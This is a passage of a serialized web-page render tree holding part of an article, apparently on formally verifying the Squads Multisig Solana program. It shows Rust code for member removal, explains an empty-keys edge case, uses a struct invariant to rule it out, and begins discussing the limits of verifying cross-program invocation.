"value":218},{"type":23,"tag":230,"props":29111,"children":29112},{"style":5149},[29113],{"type":29,"value":5386},{"type":23,"tag":230,"props":29115,"children":29116},{"style":274},[29117],{"type":29,"value":388},{"type":23,"tag":230,"props":29119,"children":29120},{"class":232,"line":280},[29121,29125,29129,29133],{"type":23,"tag":230,"props":29122,"children":29123},{"style":262},[29124],{"type":29,"value":27518},{"type":23,"tag":230,"props":29126,"children":29127},{"style":268},[29128],{"type":29,"value":218},{"type":23,"tag":230,"props":29130,"children":29131},{"style":5149},[29132],{"type":29,"value":5386},{"type":23,"tag":230,"props":29134,"children":29135},{"style":274},[29136],{"type":29,"value":388},{"type":23,"tag":230,"props":29138,"children":29139},{"class":232,"line":334},[29140,29144,29148,29152],{"type":23,"tag":230,"props":29141,"children":29142},{"style":262},[29143],{"type":29,"value":27538},{"type":23,"tag":230,"props":29145,"children":29146},{"style":268},[29147],{"type":29,"value":218},{"type":23,"tag":230,"props":29149,"children":29150},{"style":5149},[29151],{"type":29,"value":5386},{"type":23,"tag":230,"props":29153,"children":29154},{"style":274},[29155],{"type":29,"value":388},{"type":23,"tag":230,"props":29157,"children":29158},{"class":232,"line":371},[29159,29163,29167,29171],{"type":23,"tag":230,"props":29160,"children":29161},{"style":262},[29162],{"type":29,"value":27558},{"type":23,"tag":230,"props":29164,"children":29165},{"style":268},[29166],{"type":29,"value":218},{"type":23,"tag":230,"props":29168,"children":29169},{"style":5149},[29170],{"type":29,"value":5386},{"type":23,"tag":230,"props":29172,"children":29173},{"style":274},[29174],{"type":29,"value":388},{"type":23,"tag":230,"props":29176,"children":29177},{"class":232,"line":391},[29178,29182,29186,29190],{"type":23,"tag":230,"props":29179,"children":29180},{"style":262},[29181],{"type":29,"value":27578},{"type":23,"tag":230,"props":29183,"children":29184},{"style":268},[29185],{"type":29,"value":218},{"type":23,"tag":230,"props":29187,"children":29188},{"style":5149},[29189],{"type":29,"value":5386},{"type":23,"tag":230,"props":29191,"children":29192},{"style":274},[29193],{"type":29,"value":388},{"type":23,"tag":230,"props":29195,"children":29196},{"class":232,"line":400},[29197,29201,29205,29209],{"type":23,"tag":230,"props":29198,"children":29199},{"style":262},[29200],{"type":29,"value":26148},{"type":23,"tag":230,"props":29202,"children":29203},{"style":268},[29204],{"type":29,"value":218},{"type":23,"tag":230,"props":29206,"children":29207},{"style":268},[29208],{"type":29,"value":27606},{"type":23,"tag":230,"props":29210,"children":29211},{"style":274},[29212],{"type":29,"value":388},{"type":23,"tag":230,"props":29214,"children":29215},{"class":232,"line":444},[29216,29220,29224,29228],{"type":23,"tag":230,"props":29217,"children":29218},{"style":262},[29219],{"type":29,"value":27618},{"type":23,"tag":230,"props":29221,"children":29222},{"style":268},[29223],{"type":29,"value":218},{"type":23,"tag":230,"props":29225,"children":29226},{"style":256},[29227],{"type":29,"value":11391},{"type":23,"tag":230,"props":29229,"children":29230},{"style":274},[29231],{"type":29,"value":388},{"type":23,"tag":230,"props":29233,"children":29234},{"class":232,"line":453},[29235,29239,29243,29247],{"type":23,"tag":230,"props":29236,"children":29237},{"style":262},[29238],{"type":29,"value":27638},{"type":23,"tag":230,"props":29240,"children":29241},{"style":268},[29242],{"type":29,"value":218},{"type":23,"tag":230,"props":29244,"children":29245},{"style":676},[29246],{"type":29,"value":23703},{"type":23,"tag":230,"props":29248,"children":29249},{"style":274},[29250],{"type":29,"value":277},{"type":23,"tag":230,"props":29252,"children":29253},{"class":232,"line":462},[29254,29259,29263,29267],{"type":23,"tag":230,"props":29255,"children":29256},{"style":262},[29257],{"type":29,"value":29258},"            data",{"type":23,"tag":230,"props":29260,"children":29261},{"style":268},[29262],{"type":29,"value":218},{"type":23,"tag":230,"props":29264,"children":29265},{"style":268},[29266],{"type":29,"value":27606},{"type":23,"tag":230,"props":29268,"children":29269},{"style":274},[29270],{"type":29,"value":388},{"type":23,"tag":230,"props":29272,"children":29273},{"class":232,"line":471},[29274,29278,29282,29286],{"type":23,"tag":230,"props":29275,"children":29276},{"style":262},[29277],{"type":29,"value":27659},{"type":23,"tag":230,"props":29279,"children":29280},{"style":268},[29281],{"type":29,"value":218},{"type":23,"tag":230,"props":29283,"children":29284},{"style":5149},[29285],{"type":29,"value":5386},{"type":23,"tag":230,"props":29287,"children":29288},{"style":274},[29289],{"type":29,"value":388},{"type":23,"tag":230,"props":29291,"children":29292},{"class":232,"line":500},[29293],{"type":23,"tag":230,"props":29294,"children":29295},{"style":274},[29296],{"type":29,"value":27680},{"type":23,"tag":230,"props":29298,"children":29299},{"class":232,"line":514},[29300],{"type":23,"tag":230,"props":29301,"children":29302},{"style":274},[29303],{"type":29,"value":27688},{"type":23,"tag":230,"props":29305,"children":29306},{"class":232,"line":897},[29307,29311,29315,29319,29323,29327],{"type":23,"tag":230,"props":29308,"children":29309},{"style":262},[29310],{"type":29,"value":27696},{"type":23,"tag":230,"props":29312,"children":29313},{"style":268},[29314],{"type":29,"value":218},{"type":23,"tag":230,"props":29316,"children":29317},{"style":676},[29318],{"type":29,"value":27705},{"type":23,"tag":230,"props":29320,"children":29321},{"style":274},[29322],{"type":29,"value":848},{"type":23,"tag":230,"props":29324,"children":29325},{"style":268},[29326],{"type":29,"value":11922},{"type":23,"tag":230,"props":29328,"children":29329},{"style":274},[29330],{"type":29,"value":27718},{"type":23,"tag":230,"props":29332,"children":29333},{"class":232,"line":960},[29334],{"type":23,"tag":230,"props":29335,"children":29336},{"style":274},[29337],{"type":29,"value":975},{"type":23,"tag":32,"props":29339,"children":29340},{},[29341],{"type":29,"value":29342},"Interestingly, the multisig has 0 keys and yet this instruction does not error. Let's take a closer look to figure out why:",{"type":23,"tag":32,"props":29344,"children":29345},{},[29346,29348,29354],{"type":29,"value":29347},"Inside our handler, we see that it only checks if the number of keys exactly equals 1. Otherwise it invokes ",{"type":23,"tag":71,"props":29349,"children":29351},{"className":29350},[],[29352],{"type":29,"value":29353},"Ms::remove_member",{"type":29,"value":218},{"type":23,"tag":220,"props":29356,"children":29358},{"code":29357,"language":5319,"meta":7,"className":5320,"style":7},"if ctx.accounts.multisig.keys.len() == 1 {\n    return err!(MsError::CannotRemoveSoloMember);\n}\nctx.accounts.multisig.remove_member(old_member)?;\n",[29359],{"type":23,"tag":71,"props":29360,"children":29361},{"__ignoreMap":7},[29362,29421,29452,29459],{"type":23,"tag":230,"props":29363,"children":29364},{"class":232,"line":233},[29365,29369,29373,29377,29381,29385,29389,29393,29397,29401,29405,29409,29413,29417],{"type":23,"tag":230,"props":29366,"children":29367},{"style":866},[29368],{"type":29,"value":17904},{"type":23,"tag":230,"props":29370,"children":29371},{"style":262},[29372],{"type":29,"value":28150},{"type":23,"tag":230,"props":29374,"children":29375},{"style":268},[29376],{"type":29,"value":312},{"type":23,"tag":230,"props":29378,"children":29379},{"style":274},[29380],{"type":29,"value":17002},{"type":23,"tag":230,"props":29382,"children":29383},{"style":268},[29384],{"type":29,"value":312},{"type":23,"tag":230,"props":29386,"children":29387},{"style":274},[29388],{"type":29,"value":26116},{"type":23,"tag":230,"props":29390,"children":29391},{"style":268},[29392],{"type":29,"value":312},{"type":23,"tag":230,"props":29394,"children":29395},{"style":274},[29396],{"type":29,"value":23297},{"type":23,"tag":230,"props":29398,"children":29399},{"style":268},[29400],{"type":29,"value":312},{"type":23,"tag":230,"props":29402,"children":29403},{"style":294},[29404],{"type":29,"value":11471},{"type":23,"tag":230,"props":29406,"children":29407},{"style":274},[29408],{"type":29,"value":16370},{"type":23,"tag":230,"props":29410,"children":29411},{"style":268},[29412],{"type":29,"value":10911},{"type":23,"tag":230,"props":29414,"children":29415},{"style":5149},[29416],{"type":29,"value":6861},{"type":23,"tag":230,"props":29418,"children":29419},{"style":274},[29420],{"type":29,"value":277},{"type":23,"tag":230,"props":29422,"children":29423},{"class":232,"line":243},[29424,29428,29432,29436,29440,29444,29448],{"type":23,"tag":230,"props":29425,"children":29426},{"style":866},[29427],{"type":29,"value":4427},{"type":23,"tag":230,"props":29429,"children":29430},{"style":294},[29431],{"type":29,"value":25833},{"type":23,"tag":230,"props":29433,"children":29434},{"style":274},[29435],{"type":29,"value":302},{"type":23,"tag":230,"props":29437,"children":29438},{"style":676},[29439],{"type":29,"value":25842},{"type":23,"tag":230,"props":29441,"children":29442},{"style":268},[29443],{"type":29,"value":5818},{"type":23,"tag":230,"props":29445,"children":29446},{"style":676},[29447],{"type":29,"value":28226},{"type":23,"tag":230,"props":29449,"children":29450},{"style":274},[29451],{"type":29,"value":753},{"type":23,"tag":230,"props":29453,"children":29454},{"class":232,"line":252},[29455],{"type":23,"tag":230,"props":29456,"children":29457},{"style":274},[29458],{"type":29,"value":975},{"type":23,"tag":230,"props":29460,"children":29461},{"class":232,"line":280},[29462,29466,29470,29474,29478,29482,29486,29490,29494,29498,29502,29506],{"type":23,"tag":230,"props":29463,"children":29464},{"style":262},[29465],{"type":29,"value":22595},{"type":23,"tag":230,"props":29467,"children":29468},{"style":268},[29469],{"type":29,"value":312},{"type":23,"tag":230,"props":29471,"children":29472},{"style":274},[29473],{"type":29,"value":17002},{"type":23,"tag":230,"props":29475,"children":29476},{"style":268},[29477],{"type":29,"value":312},{"type":23,"tag":230,"props":29479,"children":29480},{"style":274},[29481],{"type":29,"value":26116},{"type":23,"tag":230,"props":29483,"children":29484},{"style":268},[29485],{"type":29,"value":312},{"type":23,"tag":230,"props":29487,"children":29488},{"style":294},[29489],{"type":29,"value":27773},{"type":23,"tag":230,"props":29491,"children":29492},{"style":274},[29493],{"type":29,"value":302},{"type":23,"tag":230,"props":29495,"children":29496},{"style":262},[29497],{"type":29,"value":28106},{"type":23,"tag":230,"props":29499,"children":29500},{"style":274},[29501],{"type":29,"value":5467},{"type":23,"tag":230,"props":29503,"children":29504},{"style":268},[29505],{"type":29,"value":5494},{"type":23,"tag":230,"props":29507,"children":29508},{"style":274},[29509],{"type":29,"value":511},{"type":23,"tag":32,"props":29511,"children":29512},{},[29513,29515,29521,29523,29529],{"type":29,"value":29514},"In that function, it checks if the member to remove is contained in that multisig (with ",{"type":23,"tag":71,"props":29516,"children":29518},{"className":29517},[],[29519],{"type":29,"value":29520},"Ms::is_member",{"type":29,"value":29522},") and if it is not, it simply skips the removal and returns ",{"type":23,"tag":71,"props":29524,"children":29526},{"className":29525},[],[29527],{"type":29,"value":29528},"Ok(())",{"type":29,"value":312},{"type":23,"tag":220,"props":29531,"children":29533},{"code":29532,"language":5319,"meta":7,"className":5320,"style":7},"pub fn remove_member(&mut self, member: Pubkey) -> Result\u003C()> {\n    if let Some(ind) = self.is_member(member) {\n        self.keys.remove(ind);\n        if self.keys.len() \u003C usize::from(self.threshold) {\n            self.threshold = self.keys.len().try_into().unwrap();\n        }\n    }\n    Ok(())\n}\n",[29534],{"type":23,"tag":71,"props":29535,"children":29536},{"__ignoreMap":7},[29537,29601,29660,29697,29756,29824,29831,29838,29849],{"type":23,"tag":230,"props":29538,"children":29539},{"class":232,"line":233},[29540,29544,29548,29552,29556,29560,29564,29568,29572,29577,29581,29585,29589,29593,29597],{"type":23,"tag":230,"props":29541,"children":29542},{"style":256},[29543],{"type":29,"value":16017},{"type":23,"tag":230,"props":29545,"children":29546},{"style":256},[29547],{"type":29,"value":16022},{"type":23,"tag":230,"props":29549,"children":29550},{"style":294},[29551],{"type":29,"value":28072},{"type":23,"tag":230,"props":29553,"children":29554},{"style":274},[29555],{"type":29,"value":302},{"type":23,"tag":230,"props":29557,"children":29558},{"style":268},[29559],{"type":29,"value":5448},{"type":23,"tag":230,"props":29561,"children":29562},{"style":256},[29563],{"type":29,"value":6059},{"type":23,"tag":230,"props":29565,"children":29566},{"style":256},[29567],{"type":29,"value":16124},{"type":23,"tag":230,"props":29569,"children":29570},{"style":274},[29571],{"type":29,"value":684},{"type":23,"tag":230,"props":29573,"children":29574},{"style":262},[29575],{"type":29,"value":29576},"member",{"type":23,"tag":230,"props":29578,"children":29579},{"style":268},[29580],{"type":29,"value":218},{"type":23,"tag":230,"props":29582,"children":29583},{"style":676},[29584],{"type":29,"value":23172},{"type":23,"tag":230,"props":29586,"children":29587},{"style":274},[29588],{"type":29,"value":703},{"type":23,"tag":230,"props":29590,"children":29591},{"style":268},[29592],{"type":29,"value":16084},{"type":23,"tag":230,"props":29594,"children":29595},{"style":676},[29596],{"type":29,"value":16089},{"type":23,"tag":230,"props":29598,"children":29599},{"style":274},[29600],{"type":29,"value":22646},{"type":23,"tag":230,"props":29602,"children":29603},{"class":232,"line":243},[29604,29608,29613,29618,29622,29627,29631,29635,29639,29643,29648,29652,29656],{"type":23,"tag":230,"props":29605,"children":29606},{"style":866},[29607],{"type":29,"value":1493},{"type":23,"tag":230,"props":29609,"children":29610},{"style":256},[29611],{"type":29,"value":29612}," let",{"type":23,"tag":230,"props":29614,"children":29615},{"style":676},[29616],{"type":29,"value":29617}," Some",{"type":23,"tag":230,"props":29619,"children":29620},{"style":274},[29621],{"type":29,"value":302},{"type":23,"tag":230,"props":29623,"children":29624},{"style":262},[29625],{"type":29,"value":29626},"ind",{"type":23,"tag":230,"props":29628,"children":29629},{"style":274},[29630],{"type":29,"value":703},{"type":23,"tag":230,"props":29632,"children":29633},{"style":268},[29634],{"type":29,"value":863},{"type":23,"tag":230,"props":29636,"children":29637},{"style":256},[29638],{"type":29,"value":16124},{"type":23,"tag":230,"props":29640,"children":29641},{"style":268},[29642],{"type":29,"value":312},{"type":23,"tag":230,"props":29644,"children":29645},{"style":294},[29646],{"type":29,"value":29647},"is_member",{"type":23,"tag":230,"props":29649,"children":29650},{"style":274},[29651],{"type":29,"value":302},{"type":23,"tag":230,"props":29653,"children":29654},{"style":262},[29655],{"type":29,"value":29576},{"type":23,"tag":230,"props":29657,"children":29658},{"style":274},[29659],{"type":29,"value":827},{"type":23,"tag":230,"props":29661,"children":29662},{"class":232,"line":252},[29663,29668,29672,29676,29680,29685,29689,29693],{"type":23,"tag":230,"props":29664,"children":29665},{"style":256},[29666],{"type":29,"value":29667},"        self",{"type":23,"tag":230,"props":29669,"children":29670},{"style":268},[29671],{"type":29,"value":312},{"type":23,"tag":230,"props":29673,"children":29674},{"style":274},[29675],{"type":29,"value":23297},{"type":23,"tag":230,"props":29677,"children":29678},{"style":268},[29679],{"type":29,"value":312},{"type":23,"tag":230,"props":29681,"children":29682},{"style":294},[29683],{"type":29,"value":29684},"remove",{"type":23,"tag":230,"props":29686,"children":29687},{"style":274},[29688],{"type":29,"value":302},{"type":23,"tag":230,"props":29690,"children":29691},{"style":262},[29692],{"type":29,"value":29626},{"type":23,"tag":230,"props":29694,"children":29695},{"style":274},[29696],{"type":29,"value":753},{"type":23,"tag":230,"props":29698,"children":29699},{"class":232,"line":280},[29700,29704,29708,29712,29716,29720,29724,29728,29732,29736,29740,29744,29748,29752],{"type":23,"tag":230,"props":29701,"children":29702},{"style":866},[29703],{"type":29,"value":5611},{"type":23,"tag":230,"props":29705,"children":29706},{"style":256},[29707],{"type":29,"value":16124},{"type":23,"tag":230,"props":29709,"children":29710},{"style":268},[29711],{"type":29,"value":312},{"type":23,"tag":230,"props":29713,"children":29714},{"style":274},[29715],{"type":29,"value":23297},{"type":23,"tag":230,"props":29717,"children":29718},{"style":268},[29719],{"type":29,"value":312},{"type":23,"tag":230,"props":29721,"children":29722},{"style":294},[29723],{"type":29,"value":11471},{"type":23,"tag":230,"props":29725,"children":29726},{"style":274},[29727],{"type":29,"value":28351},{"type":23,"tag":230,"props":29729,"children":29730},{"style":676},[29731],{"type":29,"value":18925},{"type":23,"tag":230,"props":29733,"children":29734},{"style":268},[29735],{"type":29,"value":5818},{"type":23,"tag":230,"props":29737,"children":29738},{"style":294},[29739],{"type":29,"value":4276},{"type":23,"tag":230,"props":29741,"children":29742},{"style":274},[29743],{"type":29,"value":302},{"type":23,"tag":230,"props":29745,"children":29746},{"style":256},[29747],{"type":29,"value":16040},{"type":23,"tag":230,"props":29749,"children":29750},{"style":268},[29751],{"type":29,"value":312},{"type":23,"tag":230,"props":29753,"children":29754},{"style":274},[29755],{"type":29,"value":28396},{"type":23,"tag":230,"props":29757,"children":29758},{"class":232,"line":334},[29759,29764,29768,29772,29776,29780,29784,29788,29792,29796,29800,29804,29808,29812,29816,29820],{"type":23,"tag":230,"props":29760,"children":29761},{"style":256},[29762],{"type":29,"value":29763},"            self",{"type":23,"tag":230,"props":29765,"children":29766},{"style":268},[29767],{"type":29,"value":312},{"type":23,"tag":230,"props":29769,"children":29770},{"style":274},[29771],{"type":29,"value":23385},{"type":23,"tag":230,"props":29773,"children":29774},{"style":268},[29775],{"type":29,"value":863},{"type":23,"tag":230,"props":29777,"children":29778},{"style":256},[29779],{"type":29,"value":16124},{"type":23,"tag":230,"props":29781,"children":29782},{"style":268},[29783],{"type":29,"value":312},{"type":23,"tag":230,"props":29785,"children":29786},{"style":274},[29787],{"type":29,"value":23297},{"type":23,"tag":230,"props":29789,"children":29790},{"style":268},[29791],{"type":29,"value":312},{"type":23,"tag":230,"props":29793,"children":29794},{"style":294},[29795],{"type":29,"value":11471},{"type":23,"tag":230,"props":29797,"children":29798},{"style":274},[29799],{"type":29,"value":16206},{"type":23,"tag":230,"props":29801,"children":29802},{"style":268},[29803],{"type":29,"value":312},{"type":23,"tag":230,"props":29805,"children":29806},{"style":294},[29807],{"type":29,"value":28469},{"type":23,"tag":230,"props":29809,"children":29810},{"style":274},[29811],{"type":29,"value":16206},{"type":23,"tag":230,"props":29813,"children":29814},{"style":268},[29815],{"type":29,"value":312},{"type":23,"tag":230,"props":29817,"children":29818},{"style":294},[29819],{"type":29,"value":6001},{"type":23,"tag":230,"props":29821,"children":29822},{"style":274},[29823],{"type":29,"value":2140},{"type":23,"tag":230,"props":29825,"children":29826},{"class":232,"line":371},[29827],{"type":23,"tag":230,"props":29828,"children":29829},{"style":274},[29830],{"type":29,"value":5686},{"type":23,"tag":230,"props":29832,"children":29833},{"class":232,"line":391},[29834],{"type":23,"tag":230,"props":29835,"children":29836},{"style":274},[29837],{"type":29,"value":1552},{"type":23,"tag":230,"props":29839,"children":29840},{"class":232,"line":400},[29841,29845],{"type":23,"tag":230,"props":29842,"children":29843},{"style":676},[29844],{"type":29,"value":16660},{"type":23,"tag":230,"props":29846,"children":29847},{"style":274},[29848],{"type":29,"value":16665},{"type":23,"tag":230,"props":29850,"children":29851},{"class":232,"line":444},[29852],{"type":23,"tag":230,"props":29853,"children":29854},{"style":274},[29855],{"type":29,"value":975},{"type":23,"tag":32,"props":29857,"children":29858},{},[29859,29861,29866,29868,29874,29876,29882,29884,29889],{"type":29,"value":29860},"Inside ",{"type":23,"tag":71,"props":29862,"children":29864},{"className":29863},[],[29865],{"type":29,"value":29520},{"type":29,"value":29867},", we see that it performs a ",{"type":23,"tag":71,"props":29869,"children":29871},{"className":29870},[],[29872],{"type":29,"value":29873},"binary_search",{"type":29,"value":29875}," on the keys vec and returns the index or ",{"type":23,"tag":71,"props":29877,"children":29879},{"className":29878},[],[29880],{"type":29,"value":29881},"None",{"type":29,"value":29883},". Since the vec has size zero, this will just return ",{"type":23,"tag":71,"props":29885,"children":29887},{"className":29886},[],[29888],{"type":29,"value":29881},{"type":29,"value":312},{"type":23,"tag":220,"props":29891,"children":29893},{"code":29892,"language":5319,"meta":7,"className":5320,"style":7},"pub fn is_member(&self, member: Pubkey) -> Option\u003Cusize> {\n    match self.keys.binary_search(&member) {\n        Ok(ind) => Some(ind),\n        _ => None,\n    }\n}\n",[29894],{"type":23,"tag":71,"props":29895,"children":29896},{"__ignoreMap":7},[29897,29966,30009,30048,30070,30077],{"type":23,"tag":230,"props":29898,"children":29899},{"class":232,"line":233},[29900,29904,29908,29913,29917,29921,29925,29929,29933,29937,29941,29945,29949,29954,29958,29962],{"type":23,"tag":230,"props":29901,"children":29902},{"style":256},[29903],{"type":29,"value":16017},{"type":23,"tag":230,"props":29905,"children":29906},{"style":256},[29907],{"type":29,"value":16022},{"type":23,"tag":230,"props":29909,"children":29910},{"style":294},[29911],{"type":29,"value":29912}," is_member",{"type":23,"tag":230,"props":29914,"children":29915},{"style":274},[29916],{"type":29,"value":302},{"type":23,"tag":230,"props":29918,"children":29919},{"style":268},[29920],{"type":29,"value":5448},{"type":23,"tag":230,"props":29922,"children":29923},{"style":256},[29924],{"type":29,"value":16040},{"type":23,"tag":230,"props":29926,"children":29927},{"style":274},[29928],{"type":29,"value":684},{"type":23,"tag":230,"props":29930,"children":29931},{"style":262},[29932],{"type":29,"value":29576},{"type":23,"tag":230,"props":29934,"children":29935},{"style":268},[29936],{"type":29,"value":218},{"type":23,"tag":230,"props":29938,"children":29939},{"style":676},[29940],{"type":29,"value":23172},{"type":23,"tag":230,"props":29942,"children":29943},{"style":274},[29944],{"type":29,"value":703},{"type":23,"tag":230,"props":29946,"children":29947},{"style":268},[29948],{"type":29,"value":16084},{"type":23,"tag":230,"props":29950,"children":29951},{"style":676},[29952],{"type":29,"value":29953}," Option",{"type":23,"tag":230,"props":29955,"children":29956},{"style":274},[29957],{"type":29,"value":8143},{"type":23,"tag":230,"props":29959,"children":29960},{"style":676},[29961],{"type":29,"value":18925},{"type":23,"tag":230,"props":29963,"children":29964},{"style":274},[29965],{"type":29,"value":9617},{"type":23,"tag":230,"props":29967,"children":29968},{"class":232,"line":243},[29969,29973,29977,29981,29985,29989,29993,29997,30001,30005],{"type":23,"tag":230,"props":29970,"children":29971},{"style":866},[29972],{"type":29,"value":17080},{"type":23,"tag":230,"props":29974,"children":29975},{"style":256},[29976],{"type":29,"value":16124},{"type":23,"tag":230,"props":29978,"children":29979},{"style":268},[29980],{"type":29,"value":312},{"type":23,"tag":230,"props":29982,"children":29983},{"style":274},[29984],{"type":29,"value":23297},{"type":23,"tag":230,"props":29986,"children":29987},{"style":268},[29988],{"type":29,"value":312},{"type":23,"tag":230,"props":29990,"children":29991},{"style":294},[29992],{"type":29,"value":29873},{"type":23,"tag":230,"props":29994,"children":29995},{"style":274},[29996],{"type":29,"value":302},{"type":23,"tag":230,"props":29998,"children":29999},{"style":268},[30000],{"type":29,"value":5448},{"type":23,"tag":230,"props":30002,"children":30003},{"style":262},[30004],{"type":29,"value":29576},{"type":23,"tag":230,"props":30006,"children":30007},{"style":274},[30008],{"type":29,"value":827},{"type":23,"tag":230,"props":30010,"children":30011},{"class":232,"line":252},[30012,30016,30020,30024,30028,30032,30036,30040,30044],{"type":23,"tag":230,"props":30013,"children":30014},{"style":676},[30015],{"type":29,"value":17138},{"type":23,"tag":230,"props":30017,"children":30018},{"style":274},[30019],{"type":29,"value":302},{"type":23,"tag":230,"props":30021,"children":30022},{"style":262},[30023],{"type":29,"value":29626},{"type":23,"tag":230,"props":30025,"children":30026},{"style":274},[30027],{"type":29,"value":703},{"type":23,"tag":230,"props":30029,"children":30030},{"style":268},[30031],{"type":29,"value":2671},{"type":23,"tag":230,"props":30033,"children":30034},{"style":676},[30035],{"type":29,"value":29617},{"type":23,"tag":230,"props":30037,"children":30038},{"style":274},[30039],{"type":29,"value":302},{"type":23,"tag":230,"props":30041,"children":30042},{"style":262},[30043],{"type":29,"value":29626},{"type":23,"tag":230,"props":30045,"children":30046},{"style":274},[30047],{"type":29,"value":331},{"type":23,"tag":230,"props":30049,"children":30050},{"class":232,"line":280},[30051,30056,30061,30066],{"type":23,"tag":230,"props":30052,"children":30053},{"style":262},[30054],{"type":29,"value":30055},"        _",{"type":23,"tag":230,"props":30057,"children":30058},{"style":268},[30059],{"type":29,"value":30060}," =>",{"type":23,"tag":230,"props":30062,"children":30063},{"style":676},[30064],{"type":29,"value":30065}," None",{"type":23,"tag":230,"props":30067,"children":30068},{"style":274},[30069],{"type":29,"value":388},{"type":23,"tag":230,"props":30071,"children":30072},{"class":232,"line":334},[30073],{"type":23,"tag":230,"props":30074,"children":30075},{"style":274},[30076],{"type":29,"value":1552},{"type":23,"tag":230,"props":30078,"children":30079},{"class":232,"line":371},[30080],{"type":23,"tag":230,"props":30081,"children":30082},{"style":274},[30083],{"type":29,"value":975},{"type":23,"tag":32,"props":30085,"children":30086},{},[30087,30089,30094,30096,30101,30103,30108,30110,30115],{"type":29,"value":30088},"So interestingly, a ",{"type":23,"tag":71,"props":30090,"children":30092},{"className":30091},[],[30093],{"type":29,"value":23297},{"type":29,"value":30095}," vec of size 0 ",{"type":23,"tag":2258,"props":30097,"children":30098},{},[30099],{"type":29,"value":30100},"is actually",{"type":29,"value":30102}," a sufficient condition to execute ",{"type":23,"tag":71,"props":30104,"children":30106},{"className":30105},[],[30107],{"type":29,"value":27773},{"type":29,"value":30109},". However would it ever actually happen? Well we know from before that when we create the multisig, the threshold must be less than or equal to the number of keys and also greater than zero. So in any ",{"type":23,"tag":2258,"props":30111,"children":30112},{},[30113],{"type":29,"value":30114},"valid",{"type":29,"value":30116}," multisig, the number of keys should never be zero.",{"type":23,"tag":32,"props":30118,"children":30119},{},[30120,30122,30127],{"type":29,"value":30121},"We can represent this ",{"type":23,"tag":2258,"props":30123,"children":30124},{},[30125],{"type":29,"value":30126},"validity",{"type":29,"value":30128}," with a struct invariant. In fact the invariant we defined earlier will be sufficient:",{"type":23,"tag":220,"props":30130,"children":30132},{"code":30131,"language":5319,"meta":7,"className":5320,"style":7},"#[invariant(\n    (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms { ... }\n",[30133],{"type":23,"tag":71,"props":30134,"children":30135},{"__ignoreMap":7},[30136,30143,30166,30217,30224],{"type":23,"tag":230,"props":30137,"children":30138},{"class":232,"line":233},[30139],{"type":23,"tag":230,"props":30140,"children":30141},{"style":274},[30142],{"type":29,"value":23093},{"type":23,"tag":230,"props":30144,"children":30145},{"class":232,"line":243},[30146,30150,30154,30158,30162],{"type":23,"tag":230,"props":30147,"children":30148},{"style":274},[30149],{"type":29,"value":27036},{"type":23,"tag":230,"props":30151,"children":30152},{"style":268},[30153],{"type":29,"value":312},{"type":23,"tag":230,"props":30155,"children":30156},{"style":274},[30157],{"type":29,"value":23385},{"type":23,"tag":230,"props":30159,"children":30160},{"style":268},[30161],{"type":29,"value":12274},{"type":23,"tag":230,"props":30163,"children":30164},{"style":274},[30165],{"type":29,"value":23394},{"type":23,"tag":230,"props":30167,"children":30168},{"class":232,"line":252},[30169,30173,30177,30181,30185,30189,30193,30197,30201,30205,30209,30213],{"type":23,"tag":230,"props":30170,"children":30171},{"style":268},[30172],{"type":29,"value":17946},{"type":23,"tag":230,"props":30174,"children":30175},{"style":274},[30176],{"type":29,"value":23318},{"type":23,"tag":230,"props":30178,"children":30179},{"style":268},[30180],{"type":29,"value":312},{"type":23,"tag":230,"props":30182,"children":30183},{"style":274},[30184],{"type":29,"value":23385},{"type":23,"tag":230,"props":30186,"children":30187},{"style":256},[30188],{"type":29,"value":4343},{"type":23,"tag":230,"props":30190,"children":30191},{"style":676},[30192],{"type":29,"value":16058},{"type":23,"tag":230,"props":30194,"children":30195},{"style":268},[30196],{"type":29,"value":10532},{"type":23,"tag":230,"props":30198,"children":30199},{"style":274},[30200],{"type":29,"value":16124},{"type":23,"tag":230,"props":30202,"children":30203},{"style":268},[30204],{"type":29,"value":312},{"type":23,"tag":230,"props":30206,"children":30207},{"style":274},[30208],{"type":29,"value":23297},{"type":23,"tag":230,"props":30210,"children":30211},{"style":268},[30212],{"type":29,"value":312},{"type":23,"tag":230,"props":30214,"children":30215},{"style":274},[30216],{"type":29,"value":23446},{"type":23,"tag":230,"props":30218,"children":30219},{"class":232,"line":280},[30220],{"type":23,"tag":230,"props":30221,"children":30222},{"style":274},[30223],{"type":29,"value":22573},{"type":23,"tag":230,"props":30225,"children":30226},{"class":232,"line":334},[30227,30231,30235,30239,30243,30247],{"type":23,"tag":230,"props":30228,"children":30229},{"style":256},[30230],{"type":29,"value":16017},{"type":23,"tag":230,"props":30232,"children":30233},{"style":256},[30234],{"type":29,"value":23465},{"type":23,"tag":230,"props":30236,"children":30237},{"style":676},[30238],{"type":29,"value":23470},{"type":23,"tag":230,"props":30240,"children":30241},{"style":274},[30242],{"type":29,"value":848},{"type":23,"tag":230,"props":30244,"children":30245},{"style":268},[30246],{"type":29,"value":11922},{"type":23,"tag":230,"props":30248,"children":30249},{"style":274},[30250],{"type":29,"value":11927},{"type":23,"tag":32,"props":30252,"children":30253},{},[30254,30256,30262,30264,30270],{"type":29,"value":30255},"The use of a struct invariant allows us to define (and verify) the possible states that an account can be in at the start and end of an instruction. In this case, our struct invariant rules out the case where ",{"type":23,"tag":71,"props":30257,"children":30259},{"className":30258},[],[30260],{"type":29,"value":30261},"keys.len() == 0",{"type":29,"value":30263}," and allows us to prove the biconditional ",{"type":23,"tag":71,"props":30265,"children":30267},{"className":30266},[],[30268],{"type":29,"value":30269},"(keys.len() >= 1) -> (instruction succeeds)",{"type":29,"value":312},{"type":23,"tag":59,"props":30272,"children":30274},{"id":30273},"safety-guarantees",[30275],{"type":29,"value":25099},{"type":23,"tag":32,"props":30277,"children":30278},{},[30279],{"type":29,"value":30280},"Formal verification is an awesome technique but it is not perfect. There are situations where things are not possible to formally verify and you need to resort to other methods.",{"type":23,"tag":32,"props":30282,"children":30283},{},[30284],{"type":29,"value":30285},"In particular, one of the difficult-to-verify parts of the Squads Multisig program is cross-program-invocation. Specifically, since cross-program-invocation executes foreign code, it is difficult (if not impossible) to verify whether this will succeed or fail.",{"type":23,"tag":32,"props":30287,"children":30288},{},[30289,30291,30297],{"type":29,"value":30290},"In the multisig program this happens in the ",{"type":23,"tag":71,"props":30292,"children":30294},{"className":30293},[],[30295],{"type":29,"value":30296},"execute_transaction",{"type":29,"value":30298}," instruction.",{"type":23,"tag":32,"props":30300,"children":30301},{},[30302],{"type":23,"tag":2258,"props":30303,"children":30304},{},[30305],{"type":29,"value":30306},"So what do you 